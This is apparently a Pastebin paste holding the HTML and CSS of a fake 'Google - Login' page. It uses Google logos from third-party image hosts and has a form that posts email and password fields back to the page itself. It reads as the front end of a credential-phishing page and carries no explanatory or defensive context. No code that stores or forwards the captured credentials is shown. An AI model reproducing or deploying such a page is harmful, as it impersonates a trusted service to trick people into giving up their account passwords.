Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <html>
- <head>
- <title>Google - Login</title>
- <link rel='shortcut icon' href='https://cdn.freebiesupply.com/logos/large/2x/google-g-2015-logo-png-transparent.png'>
- <link href="https://fonts.googleapis.com/css?family=Roboto&display=swap" rel="stylesheet">
- <style type='text/css'>
- body{
- margin:0;
- color:#000;
- background:#fff;
- text-align:center;
- font-family: 'Roboto', sans-serif;
- }
- img{
- width:100px;
- margin-top:80px;
- }
- form{
- margin:0 auto;
- font-family: 'Roboto', sans-serif;
- }
- .form{
- margin:0 auto;
- max-width:500px;
- background:#f7f7f7;
- border-radius:5px;
- border:1px solid #f7f7f7;
- text-align:center;
- }
- .text{
- width:100%;
- background:#fff;
- border:1px solid #fff;
- padding:10px;
- margin-top:5px;
- margin-bottom:5px;
- color:#000;
- }
- .text-alert{
- width:100%;
- background:#fff;
- border:1px solid #FF2828;
- padding:10px;
- margin-top:5px;
- margin-bottom:5px;
- color:#000;
- }
- .submit{
- width:100%;
- background:#4b8df8;
- border:1px solid #4b8df8;
- padding:10px;
- margin-top:20px;
- margin-bottom:5px;
- color:#fff;
- text-align:center;
- border-radius:5px;
- }
- </style>
- <body>
- <img src='https://cdn.worldvectorlogo.com/logos/google-2015.svg'><br/><br/><br/>
- <div class='form'>
- <br/>
- <img src='https://i.dlpng.com/static/png/6542357_preview.png' style='margin:0 auto;'>
- <br/>
- <form method='post' action=''>
- <div style='padding:15px;'>
- <input class='text-alert' placeholder='Email address' name='email'>
- <input class='text' placeholder='Password' name='password'>
- <input class='submit' value='Log In'>
- </div>
- </form>
- </div>
- </body>
- </head>
- </html>
Add Comment
Please, Sign In to add comment